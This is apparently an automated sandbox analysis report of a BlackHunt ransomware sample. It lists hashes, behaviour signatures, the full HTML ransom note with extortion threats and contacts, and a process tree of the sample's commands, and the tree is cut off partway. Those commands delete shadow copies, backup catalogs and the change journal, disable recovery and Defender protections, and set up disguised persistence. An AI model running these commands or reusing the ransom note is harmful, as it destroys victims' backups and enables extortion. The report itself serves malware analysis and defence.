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Analysis

  • max time kernel
    118s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    19/01/2024, 00:39

General

  • Target

    b7819413b26e47fb4623bf9dd7b7d67efb27c7a5766ee29e3cbd3b1a7711e3b6.exe

  • Size

    707KB

  • MD5

    21a2cb88350eef31f1b32f1e17d38f2a

  • SHA1

    ace348a0f1cdd3d555472a651e2cc9011329f2bb

  • SHA256

    b7819413b26e47fb4623bf9dd7b7d67efb27c7a5766ee29e3cbd3b1a7711e3b6

  • SHA512

    8e8ad97d1b54148acceac35a55c6adcc3aac120874312a3c47826f76c1abea9a29df78bcaa57cb36c2e9c312d712c25386b791d1f0d36dffbb1f07bca0668627

  • SSDEEP

    6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza138avnh:6uaTmkZJ+naie5OTamgEoKxLW+0h

Malware Config

Extracted

Path

C:\Program Files\7-Zip\#BlackHunt_ReadMe.hta

Ransom Note
<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> 7bYF679xYNaiMI3T </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>
URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

  • Deletes NTFS Change Journal 2 TTPs 2 IoCs

    The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs 5 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
  • Renames multiple (2868) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Deletes backup catalog 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Disables Task Manager via registry modification
  • Disables use of System Restore points 1 TTPs
  • Deletes itself 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 27 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Interacts with shadow copies 2 TTPs 6 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 10 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\b7819413b26e47fb4623bf9dd7b7d67efb27c7a5766ee29e3cbd3b1a7711e3b6.exe
    "C:\Users\Admin\AppData\Local\Temp\b7819413b26e47fb4623bf9dd7b7d67efb27c7a5766ee29e3cbd3b1a7711e3b6.exe"
    1⤵
    • UAC bypass
    • Checks whether UAC is enabled
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:2028
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2684
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
        3⤵
        • Adds Run key to start application
        PID:2640
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
      2⤵
        PID:2816
        • C:\Windows\system32\reg.exe
          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
          3⤵
            PID:2652
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
          2⤵
            PID:1900
            • C:\Windows\system32\reg.exe
              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
              3⤵
                PID:1148
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
              2⤵
                PID:2408
                • C:\Windows\system32\vssadmin.exe
                  vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                  3⤵
                  • Interacts with shadow copies
                  PID:2088
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                2⤵
                  PID:2080
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                  2⤵
                    PID:1936
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                    2⤵
                      PID:1360
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                      2⤵
                        PID:844
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                        2⤵
                          PID:960
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                          2⤵
                            PID:760
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                            2⤵
                              PID:540
                            • C:\Windows\System32\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                              2⤵
                                PID:1288
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                                2⤵
                                  PID:2264
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\b7819413b26e47fb4623bf9dd7b7d67efb27c7a5766ee29e3cbd3b1a7711e3b6.exe" /F
                                  2⤵
                                    PID:2268
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                    2⤵
                                      PID:2948
                                    • C:\Windows\System32\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                      2⤵
                                        PID:2936
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                        2⤵
                                          PID:2840
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                          2⤵
                                            PID:2456
                                          • C:\Windows\System32\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                            2⤵
                                              PID:2536
                                            • C:\Windows\System32\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                              2⤵
                                                PID:2832
                                              • C:\Windows\System32\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                                2⤵
                                                  PID:2364
                                                • C:\Windows\System32\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                  2⤵
                                                    PID:2828
                                                  • C:\Windows\System32\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                    2⤵
                                                      PID:2768
                                                    • C:\Windows\System32\cmd.exe
                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                                      2⤵
                                                        PID:3004
                                                      • C:\Windows\System32\cmd.exe
                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                        2⤵
                                                          PID:2352
                                                        • C:\Windows\System32\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                                                          2⤵
                                                            PID:2180
                                                          • C:\Windows\System32\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
                                                            2⤵
                                                              PID:3048
                                                            • C:\Windows\System32\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                                                              2⤵
                                                                PID:2804
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                                                                2⤵
                                                                  PID:2516
                                                                • C:\Windows\System32\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                                                                  2⤵
                                                                    PID:2488
                                                                  • C:\Windows\System32\cmd.exe
                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                                                                    2⤵
                                                                      PID:2472
                                                                    • C:\Windows\System32\cmd.exe
